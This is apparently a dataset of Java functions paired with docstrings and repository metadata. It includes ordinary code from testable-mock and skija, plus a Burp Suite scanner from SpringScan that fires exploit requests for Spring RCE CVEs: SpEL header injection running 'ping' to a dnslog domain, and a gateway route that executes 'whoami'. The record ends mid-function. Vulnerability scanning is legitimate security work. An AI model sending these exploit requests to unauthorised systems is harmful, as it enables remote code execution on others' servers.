} else if ((ClassUtil.toByteCodeClassName(MOCK_NEW)).equals(an.desc)) {
// TODO: should also support MockNew annotation
}
}
}
}
} |
add member field of inherited mock class by @MockContainer annotation
| MockClassHandler::injectInheritedMockMethods | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/handler/MockClassHandler.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/handler/MockClassHandler.java | MIT |
private MethodInfo getMemberInjectMethodName(Set<MethodInfo> memberInjectMethods, MethodInsnNode node) {
for (MethodInfo m : memberInjectMethods) {
String nodeOwner = ClassUtil.fitCompanionClassName(node.owner);
String nodeName = ClassUtil.fitKotlinAccessorName(node.name);
// Kotlin accessor method will append an extra type parameter
String nodeDesc = nodeName.equals(node.name) ? node.desc : MethodUtil.removeFirstParameter(node.desc);
if (m.getClazz().equals(nodeOwner) && m.getName().equals(nodeName) && m.getDesc().equals(nodeDesc)) {
return m;
}
}
return null;
} |
find the mock method fit for specified method node
@param memberInjectMethods mock methods available
@param node method node to match for
@return mock method info
| SourceClassHandler::getMemberInjectMethodName | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/handler/SourceClassHandler.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/handler/SourceClassHandler.java | MIT |
public List<MethodInfo> getTestableMockMethods(String className) {
List<MethodInfo> methodInfos = new ArrayList<MethodInfo>();
ClassNode cn = ClassUtil.getClassNode(className);
if (cn == null) {
return new ArrayList<MethodInfo>();
}
for (MethodNode mn : getAllMethods(cn)) {
addMethodWithAnnotationCheck(methodInfos, cn, mn);
}
handleMockContainerInherits(methodInfos, cn);
return methodInfos;
} |
Get information of all mock methods
@param className mock class name
@return list of mock methods
| MockClassParser::getTestableMockMethods | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | MIT |
public boolean isMockClass(ClassNode cn) {
if (cn == null) {
return false;
}
DiagnoseUtil.setupByClass(cn);
if (AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER) != null) {
return true;
}
for (MethodNode mn : cn.name.endsWith(MOCK_POSTFIX) ? getAllMethods(cn) : cn.methods) {
if (mn.visibleAnnotations != null) {
for (AnnotationNode an : mn.visibleAnnotations) {
String fullClassName = toJavaStyleClassName(an.desc);
if (fullClassName.equals(ConstPool.MOCK_INVOKE) ||
fullClassName.equals(ConstPool.MOCK_NEW)) {
return true;
}
}
}
}
return false;
} |
Check whether specified class is declared as mock container or has any method with mock-related annotation
@param cn class to explore
@return found annotation or not
| MockClassParser::isMockClass | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | MIT |
private void handleMockContainerInherits(List<MethodInfo> methodInfos, ClassNode cn) {
AnnotationNode an = AnnotationUtil.getClassAnnotation(cn, MOCK_CONTAINER);
if (an != null) {
for (Object st : AnnotationUtil.getAnnotationParameter(an, FIELD_INHERITS,
Collections.<Type>emptyList(), List.class)) {
String superClassName = ((Type)st).getClassName();
ClassNode superCn = ClassUtil.getClassNode(superClassName);
if (superCn == null) {
LogUtil.warn("failed to load class '%s' inherited by '%s'", superClassName, cn.name);
continue;
}
for (MethodNode mn : getAllMethods(superCn)) {
addMethodWithAnnotationCheck(methodInfos, cn, mn);
}
}
}
} |
Take care of @MockContainer annotation
| MockClassParser::handleMockContainerInherits | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/MockClassParser.java | MIT |
private String lookForMockWithAnnotationAsSourceClass(String className) {
ClassNode cn = ClassUtil.getClassNode(className);
if (cn == null) {
return null;
}
return parseMockWithAnnotation(cn, ClassType.SourceClass);
} |
Read @MockWith annotation upon class to fetch mock class
@param className class that need to explore
@return name of mock class, null for not found
| TestableClassTransformer::lookForMockWithAnnotationAsSourceClass | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | MIT |
private String lookForInnerMockClass(ClassNode cn) {
for (InnerClassNode ic : cn.innerClasses) {
ClassNode innerClassNode = ClassUtil.getClassNode(ic.name);
boolean isNameMatched = ic.name.equals(getInnerMockClassName(cn.name)) ||
AnnotationUtil.getClassAnnotation(innerClassNode, MOCK_CONTAINER) != null;
if (isNameMatched && mockClassParser.isMockClass(innerClassNode)) {
if ((ic.access & ACC_STATIC) == 0) {
LogUtil.warn("Mock class in \"%s\" is not declared as static", cn.name);
} else {
ic.access = BytecodeUtil.toPublicAccess(ic.access);
return ic.name;
}
}
}
return null;
} |
Read inner class "Mock" to fetch mock class
@param cn class that need to explore
@return name of mock class, null for not found
| TestableClassTransformer::lookForInnerMockClass | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | MIT |
private String lookForMockWithAnnotationAsTestClass(ClassNode cn) {
String mockClassName = parseMockWithAnnotation(cn, ClassType.TestClass);
if (mockClassName != null) {
MockAssociationUtil.mockToTests.get(mockClassName).add(ClassUtil.toJavaStyleClassName(cn.name));
return ClassUtil.toSlashSeparatedName(mockClassName);
}
return null;
} |
Read @MockWith annotation upon class to fetch mock class
@param cn class that need to explore
@return name of mock class, null for not found
| TestableClassTransformer::lookForMockWithAnnotationAsTestClass | java | alibaba/testable-mock | testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | https://github.com/alibaba/testable-mock/blob/master/testable-agent/src/main/java/com/alibaba/testable/agent/transformer/TestableClassTransformer.java | MIT |
public FontMetrics getMetrics() {
try {
Stats.onNativeCall();
return _nGetMetrics(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns FontMetrics associated with Typeface. Results are scaled by text size but does not take into account
dimensions required by text scale, text skew, fake bold, style stroke, and {@link PathEffect}.
| Font::getMetrics | java | JetBrains/skija | shared/java/Font.java | https://github.com/JetBrains/skija/blob/master/shared/java/Font.java | Apache-2.0 |
public int getRuleStatus() {
try {
Stats.onNativeCall();
return _nGetRuleStatus(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
For rule-based BreakIterators, return the status tag from the
break rule that determined the boundary at the current iteration position.
<p>
For break iterator types that do not support a rule status,
a default value of 0 is returned.
<p>
@return The status from the break rule that determined the boundary
at the current iteration position.
| BreakIterator::getRuleStatus | java | JetBrains/skija | shared/java/BreakIterator.java | https://github.com/JetBrains/skija/blob/master/shared/java/BreakIterator.java | Apache-2.0 |
public int getGenerationId() {
try {
Stats.onNativeCall();
return _nGetGenerationId(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Return a unique value for this instance. If two calls to this return the same value,
it is presumed that calling the draw() method will render the same thing as well.</p>
<p>Subclasses that change their state should call notifyDrawingChanged() to ensure that
a new value will be returned the next time it is called.</p>
| Drawable::getGenerationId | java | JetBrains/skija | shared/java/Drawable.java | https://github.com/JetBrains/skija/blob/master/shared/java/Drawable.java | Apache-2.0 |
public Image makeImageSnapshot() {
try {
Stats.onNativeCall();
return new Image(_nMakeImageSnapshot(_ptr));
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns Image capturing Surface contents.</p>
<p>Subsequent drawing to Surface contents are not captured.
Image allocation is accounted for if Surface was created with SkBudgeted::kYes.</p>
@return Image initialized with Surface contents
@see <a href="https://fiddle.skia.org/c/@Surface_makeImageSnapshot">https://fiddle.skia.org/c/@Surface_makeImageSnapshot</a>
| Surface::makeImageSnapshot | java | JetBrains/skija | shared/java/Surface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Surface.java | Apache-2.0 |
public int getUniqueId() {
try {
Stats.onNativeCall();
return _nGetUniqueId(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
Returns a non-zero value unique among all text blobs.
@return identifier for TextBlob
| TextBlob::getUniqueId | java | JetBrains/skija | shared/java/TextBlob.java | https://github.com/JetBrains/skija/blob/master/shared/java/TextBlob.java | Apache-2.0 |
public boolean isImmutable() {
try {
Stats.onNativeCall();
return _nIsImmutable(_ptr);
} finally {
Reference.reachabilityFence(this);
}
} |
<p>Returns true if pixels can not change.</p>
<p>Most immutable Bitmap checks trigger an assert only on debug builds.</p>
@return true if pixels are immutable
@see <a href="https://fiddle.skia.org/c/@Bitmap_isImmutable">https://fiddle.skia.org/c/@Bitmap_isImmutable</a>
| Bitmap::isImmutable | java | JetBrains/skija | shared/java/Bitmap.java | https://github.com/JetBrains/skija/blob/master/shared/java/Bitmap.java | Apache-2.0 |
public short getUTF32Glyph(int unichar) {
try {
Stats.onNativeCall();
return _nGetUTF32Glyph(_ptr, unichar);
} finally {
Reference.reachabilityFence(this);
}
} |
This is a short-cut for calling {@link #getUTF32Glyphs(int[])}.
@return the glyph that corresponds to the specified unicode code-point (in UTF32 encoding). If the unichar is not supported, returns 0
| Typeface::getUTF32Glyph | java | JetBrains/skija | shared/java/Typeface.java | https://github.com/JetBrains/skija/blob/master/shared/java/Typeface.java | Apache-2.0 |
private static String determineConfigPath() {
// Jar包所在目录
String jarPath = BurpExtender.callbacks.getExtensionFilename();
String jarDirectory = new File(jarPath).getParent();
return String.format("%s/config", jarDirectory);
} |
获取当前jar包目录
| ConfigLoader::determineConfigPath | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
private static void defaultConfigFile() {
Map<String, Object> data = new HashMap<>();
List<String> list = new ArrayList<>();
list.add("xxxxxx.ceye.io");
list.add("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
data.put("isEnable", true);
data.put("isErrorCheck", true);
data.put("isReverseCheck", true);
data.put("backendPlat", "Dnslog");
data.put("ceyes", list);
YamlUtil.saveYaml(data, configFileName);
} |
初始化默认配置文件
| ConfigLoader::defaultConfigFile | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
public static void saveConfig(Map<String, Object> map) {
YamlUtil.saveYaml(map, configFileName);
} |
保存配置文件
| ConfigLoader::saveConfig | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
public static Map<String, Object> loadConfig() {
return YamlUtil.loadYaml(configFileName);
} |
读取配置文件
| ConfigLoader::loadConfig | java | metaStor/SpringScan | src/main/java/burp/config/ConfigLoader.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/config/ConfigLoader.java | MIT |
private void initDomain() {
String url = this.platform + "getdomain.php?t=0." + Utils.getRandomLong();
try {
byte[] rawRequest = this.helpers.buildHttpRequest(new URL(url));
IHttpService service = this.helpers.buildHttpService("www.dnslog.cn", 80, "HTTP");
IHttpRequestResponse requestResponse = this.callbacks.makeHttpRequest(service, rawRequest);
byte[] rawResponse = requestResponse.getResponse();
IResponseInfo responseInfo = this.helpers.analyzeResponse(rawResponse);
// 获取响应包body内容 => 即dnslog的子域名
this.rootDomain = new String(rawResponse).substring(responseInfo.getBodyOffset()).trim();
// 提取cookie
List<ICookie> cookies = responseInfo.getCookies();
for (ICookie cookie : cookies) {
if (cookie.getName().equals("PHPSESSID")) {
this.iCookie = cookie;
}
}
this.stdout.println("[*] Get domain: " + this.rootDomain);
} catch (MalformedURLException e) {
e.printStackTrace();
this.stdout.println("[-] Fail to get domain");
this.stderr.println(e.getMessage());
}
} |
获取 dnslog 子域名
| Dnslog::initDomain | java | metaStor/SpringScan | src/main/java/burp/backend/platform/Dnslog.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/backend/platform/Dnslog.java | MIT |
private IScanIssue errorScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) {
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
// this.burpExtender.stdout.println(Utils.bytes2Hex(newHeaderRequest));
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
String method = requestInfo.getMethod();
// 验证poc1
IPoc poc1 = this.pocs[0];
String[] poc11 = poc1.genPoc().split("=");
String key = poc11[0];
String value = String.format(poc11[1], Utils.randomStr(3));
String value2 = String.format(poc11[1], "false");
// 将poc作为新参数加入请求中
IParameter newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
byte[] newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq);
IHttpRequestResponse requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
IResponseInfo response1 = this.helpers.analyzeResponse(requestResponse1.getResponse());
// 第一次请求为报错状态码,
if (Utils.isErrorStatusCode(response1.getStatusCode())) {
newParam = this.helpers.buildParameter(key, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
if (reverseMethod) newParamReq = this.helpers.toggleRequestMethod(newParamReq);
IHttpRequestResponse requestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
IResponseInfo response2 = this.helpers.analyzeResponse(requestResponse2.getResponse());
// 第二次正常请求，防止扫到原本就报错的站
if (!Utils.isErrorStatusCode(response2.getStatusCode())) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"Medium",
"UnCertain",
null,
null,
"Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(),
null,
new IHttpRequestResponse[]{requestResponse2},
requestResponse2.getHttpService()
);
}
}
// 验证poc2
IPoc poc2 = this.pocs[1];
String[] poc22 = poc2.genPoc().split("=");
int ranNum = Utils.getRandom(0, 10); // [0, 9]随机数字
key = Utils.urlEncode(String.format(poc22[0], ranNum));
value = String.format(poc22[1], ranNum);
newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机header
newParam = this.helpers.buildParameter(key, value, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
newParamReq = this.helpers.addParameter(newHeaderRequest, newParam);
requestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamReq);
response1 = this.helpers.analyzeResponse(requestResponse1.getResponse());
// 第一次请求为报错状态码
if (Utils.isErrorStatusCode(response1.getStatusCode())) {
// 与正常请求比较，防止扫到原本就报错的站
if (!Utils.isErrorStatusCode(this.burpExtender.helpers.analyzeResponse(httpRequestResponse.getResponse()).getStatusCode())) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"Medium",
"UnCertain",
null,
null,
"Spring Core RCE (ErrorDetect)" + "\n\n" + newParam.getName() + "=" + newParam.getValue(),
null,
new IHttpRequestResponse[]{requestResponse1},
requestResponse1.getHttpService()
);
}
}
return null;
} |
使用POC1/POC2进行回显检测漏洞
@param httpRequestResponse
@param reverseMethod 是否变换请求
@return SpringCoreIssue
| Scanner::errorScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue reverseScan(IHttpRequestResponse httpRequestResponse, boolean reverseMethod) {
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
String method = requestInfo.getMethod();
this.initBackend();
String payload = Utils.randomStr(5) + "." + this.backend.generatePayload();
// poc3
IPoc poc3 = this.pocs[2];
String[] poc33 = poc3.genPoc().split("&");
String key1 = Utils.urlEncode(poc33[0].split("=")[0]);
String value1 = Utils.urlEncode(String.format(poc33[0].split("=")[1], payload, Utils.randomStr(4)));
String key2 = Utils.urlEncode(String.format(poc33[1].split("=")[0], Utils.randomStr(2)));
String value2 = String.format(poc33[1].split("=")[1], Utils.randomStr(2));
// 构造参数
IParameter param1 = this.helpers.buildParameter(key1, value1, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
IParameter param2 = this.helpers.buildParameter(key2, value2, ("GET".equalsIgnoreCase(method)) ? IParameter.PARAM_URL : IParameter.PARAM_BODY);
byte[] newParamsReq = this.helpers.addParameter(newHeaderRequest, param1);
newParamsReq = this.helpers.addParameter(newParamsReq, param2);
if (reverseMethod) newParamsReq = this.helpers.toggleRequestMethod(newParamsReq);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), newParamsReq);
// 请求是否被ban
if (this.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode() == 0) return null;
this.burpExtender.stdout.println("[*] Reverse Checking Spring Core RCE for: " + requestInfo.getUrl().toString() + " ...");
// 20s内查看是否回连
try {
for (int i = 0; i < 2; i++) {
// this.burpExtender.stdout.println("[-] No." + i + " Checking " + requestInfo.getUrl().toString());
if (this.backend.checkResult(payload)) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22965",
0,
"High",
"Certain",
null,
null,
"Spring Core RCE" + "\n\n" + key1 + "=" + value1 + "&" + key2 + "=" + value2,
null,
new IHttpRequestResponse[]{requestResponse},
requestResponse.getHttpService()
);
}
Thread.sleep(10 * 1000); // sleep 10s
}
} catch (Exception e) {
this.burpExtender.stderr.println(e.getMessage());
throw new CustomException("[-] BackendPlat is failed");
}
return null;
} |
使用POC3进行回连检测漏洞
@param httpRequestResponse
@return SpringCoreIssue
| Scanner::reverseScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue CloudFunctionSpelRCE(IHttpRequestResponse httpRequestResponse) {
// 加入是否是spring指纹的判断
if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) return null;
boolean is500 = false; // 是否打到500响应
byte[] newHeaderRequest = this.randomHeader(httpRequestResponse); // 随机Agent-User头
IHttpService httpService = httpRequestResponse.getHttpService();
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
this.initBackend();
String payload = Utils.randomStr(5) + "." + this.backend.generatePayload();
// poc4/5
IPoc poc4 = this.pocs[3];
IPoc poc5 = this.pocs[4];
String[] poc44 = poc4.genPoc().split(":");
// poc4 => key:value
// poc5 => key:value2
String key = poc44[0];
String value = String.format(poc44[1], payload);
String value2 = String.format(poc5.genPoc().split(":")[1], "ping " + payload);
// headers加入poc
byte[] poc4Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value);
byte[] poc5Request = this.CloudFunctionSpelPOC(httpRequestResponse, key, value2);
try {
// 打当前uri
IHttpRequestResponse httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc4Request);
IHttpRequestResponse httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpService, poc5Request);
// 打到500就检测回连
is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500;
requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包
// 打当前uri+/functionRouter
byte[] frRequest = this.helpers.buildHttpRequest(new URL(httpService.getProtocol(), httpService.getHost(), httpService.getPort(), Utils.getUri(requestInfo.getUrl().toString()) + "functionRouter"));
IHttpRequestResponse frRequestResponse = this.burpExtender.callbacks.makeHttpRequest(httpService, frRequest);
// 是否存在默认路由
if (this.helpers.analyzeResponse(frRequestResponse.getResponse()).getStatusCode() != 404) {
poc4Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value);
poc5Request = this.CloudFunctionSpelPOC(frRequestResponse, key, value2);
httpRequestResponse1 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc4Request);
httpRequestResponse2 = this.burpExtender.callbacks.makeHttpRequest(httpRequestResponse.getHttpService(), poc5Request);
requestInfo = this.helpers.analyzeRequest(httpRequestResponse2); // record 数据包
// 打到500就检测回连
is500 = this.helpers.analyzeResponse(httpRequestResponse1.getResponse()).getStatusCode() == 500 || this.helpers.analyzeResponse(httpRequestResponse2.getResponse()).getStatusCode() == 500;
}
// 打完check poc再检测是否回连
if (is500) {
this.burpExtender.stdout.println("[*] Reverse Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString() + " ...");
// 20s内查看是否回连
for (int i = 0; i < 2; i++) {
// this.burpExtender.stdout.println("[-] No." + i + " Checking Spring Cloud Function SpEL RCE for: " + requestInfo.getUrl().toString());
if (this.backend.checkResult(payload)) {
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22963",
0,
"High",
"Certain",
null,
null,
"Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2,
null,
new IHttpRequestResponse[]{httpRequestResponse2},
httpRequestResponse2.getHttpService()
);
}
Thread.sleep(10 * 1000); // sleep 10s
}
return new SpringIssue(
requestInfo.getUrl(),
"CVE-2022-22963 [no reverse]",
0,
"High",
"High",
null,
null,
"Spring Cloud Function SpEL RCE" + "\n\n" + "(Maybe) URI: /functionRouter\n" + "Headers: " + key + ":" + value + "\nor\n" + key + ":" + value2,
null,
new IHttpRequestResponse[]{httpRequestResponse2},
httpRequestResponse2.getHttpService()
);
}
} catch (Exception e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
throw new CustomException("[-] BackendPlat is failed");
}
return null;
} |
Spring Cloud Function SpEL RCE (CVE-2022-22963)
@param httpRequestResponse
@return IScanIssue
| Scanner::CloudFunctionSpelRCE | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private byte[] CloudFunctionSpelPOC(IHttpRequestResponse httpRequestResponse, String key, String value) {
try {
IRequestInfo requestInfo = this.helpers.analyzeRequest(httpRequestResponse);
byte[] rawRequest = httpRequestResponse.getRequest();
List<String> headers = requestInfo.getHeaders();
headers.add(key + ":" + value);
headers.set(0, headers.get(0).replace("GET", "POST"));
headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type:"));
headers.add("Content-type: application/x-www-form-urlencoded");
rawRequest = new String(rawRequest).substring(requestInfo.getBodyOffset()).getBytes();
IParameter param = this.helpers.buildParameter(Utils.randomStr(6), "1", IParameter.PARAM_BODY);
return this.helpers.addParameter(this.helpers.buildHttpMessage(headers, rawRequest), param);
} catch (Exception e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
return null;
}
} |
生成CloudFunctionSpel POC
1. 将key:value作为poc插入到headers中
2. 改GET为POST请求
3. POST内容随机
@param httpRequestResponse
@param key
@param value
@return pocRequest
| Scanner::CloudFunctionSpelPOC | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IScanIssue CloudGatewayScan(IHttpRequestResponse httpRequestResponse) {
boolean isProdApi = false;
// 这里判断是否有spring 404的特征: Whitelabel Error Page
if (!this.isSpringFinger(httpRequestResponse, false) && !this.isSpringFinger(httpRequestResponse, true)) {
// 无spring 404特征的情况下判断是否有routes
if (this.isSpringGatewayFinger(httpRequestResponse, true)) {
isProdApi = true;
} else if (!this.isSpringGatewayFinger(httpRequestResponse, false)){
return null;
}
}
URL url = this.helpers.analyzeRequest(httpRequestResponse).getUrl();
String uri = Utils.getUri(url.toString()) + (isProdApi ? "prod-api/" : "");
String random_uri = Utils.randomStr(5);
if (this.CloudGatewayRegisterRoute(httpRequestResponse, uri, random_uri, "whoami")) {
if (this.CloudGatewayRefresh(httpRequestResponse, uri)) {
IHttpRequestResponse requestResponse = this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, false);
if (requestResponse != null) {
// 删除路由
this.CloudGatewayRoute(httpRequestResponse, uri, random_uri, true);
this.CloudGatewayRefresh(httpRequestResponse, uri);
}
return new SpringIssue(
url,
"CVE-2022-22947",
0,
"High",
"Certain",
null,
null,
"Spring Cloud GateWay SPEL RCE",
null,
new IHttpRequestResponse[]{requestResponse},
requestResponse.getHttpService()
);
}
}
return null;
} |
Spring Cloud GateWay SPEL RCE (CVE-2022-22947)
一共发五个请求：
包含恶意SpEL表达式的路由 -> 刷新路由 -> 访问添加的路由查看结果 -> 删除路由 -> 刷新路由
TODO: 循环解析URI 判断每一层目录是否具有Spring指纹
@param httpRequestResponse
@return IScanIssue
| Scanner::CloudGatewayScan | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean CloudGatewayRegisterRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, String cmd) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// poc
IPoc poc6 = this.pocs[5];
String poc66 = this.helpers.bytesToString(this.helpers.base64Decode(poc6.genPoc()));
poc66 = String.format(poc66, random_uri, cmd);
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri +"actuator/gateway/routes/" + random_uri));
// headers
List<String> headers = new ArrayList<String>();
headers.add("POST " + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept-Language: en");
headers.add("Accept: */*");
headers.add("Content-Type: application/json");
headers.add("Connection: close");
headers.add("Content-Length: " + poc66.length());
byte[] poc66_byte = this.helpers.stringToBytes(poc66);
byte[] newRequest = this.helpers.buildHttpMessage(headers, poc66_byte);
// this.burpExtender.stdout.println(this.helpers.bytesToString(newRequest));
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse());
if (responseInfo1.getStatusCode() == 201) return true;
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
注册随机路由并打入POC6
@param httpRequestResponse
@param uri
@return true/false
| Scanner::CloudGatewayRegisterRoute | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private boolean CloudGatewayRefresh(IHttpRequestResponse httpRequestResponse, String uri) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// uri
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/refresh"));
// headers
List<String> headers = new ArrayList<String>();
headers.add("POST " + uri + "actuator/gateway/refresh HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept: */*");
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Connection: close");
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest);
refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 组装请求
byte[] newRequest = this.helpers.buildHttpMessage(headers, refreshRequest);
IHttpRequestResponse requestResponse = this.burpExtender.callbacks.makeHttpRequest(service, newRequest);
IResponseInfo responseInfo1 = this.helpers.analyzeResponse(requestResponse.getResponse());
if (responseInfo1.getStatusCode() == 200) return true;
} catch (MalformedURLException e) {
e.printStackTrace();
this.burpExtender.stderr.println(e.getMessage());
}
return false;
} |
刷新路由
/actuator/gateway/refresh
@return
| Scanner::CloudGatewayRefresh | java | metaStor/SpringScan | src/main/java/burp/scan/Scanner.java | https://github.com/metaStor/SpringScan/blob/master/src/main/java/burp/scan/Scanner.java | MIT |
private IHttpRequestResponse CloudGatewayRoute(IHttpRequestResponse httpRequestResponse, String uri, String random_uri, boolean deleteRoute) {
try {
IHttpService service = httpRequestResponse.getHttpService();
// uri
byte[] refreshRequest = this.helpers.buildHttpRequest(new URL(service.getProtocol(), service.getHost(), service.getPort(), uri + "actuator/gateway/routes/" + random_uri));
// headers
List<String> headers = new ArrayList<String>();
headers.add(((deleteRoute) ? "DELETE " : "GET ") + uri + "actuator/gateway/routes/" + random_uri + " HTTP/1.1");
headers.add("Host: " + service.getHost() + ":" + service.getPort());
headers.add("User-Agent: " + RandomHeaders.randomHeader());
headers.add("Accept-Encoding: gzip, deflate");
headers.add("Accept: */*");
headers.add("Content-Type: application/x-www-form-urlencoded");
headers.add("Connection: close");
// 截取新请求, buildHttpRequest()之后会包含原本的GET请求内容和自定义构造的headers内容, 所以要截取
IRequestInfo requestInfo = this.helpers.analyzeRequest(service, refreshRequest);
refreshRequest = new String(refreshRequest).substring(requestInfo.getBodyOffset()).getBytes();
// 组装请求
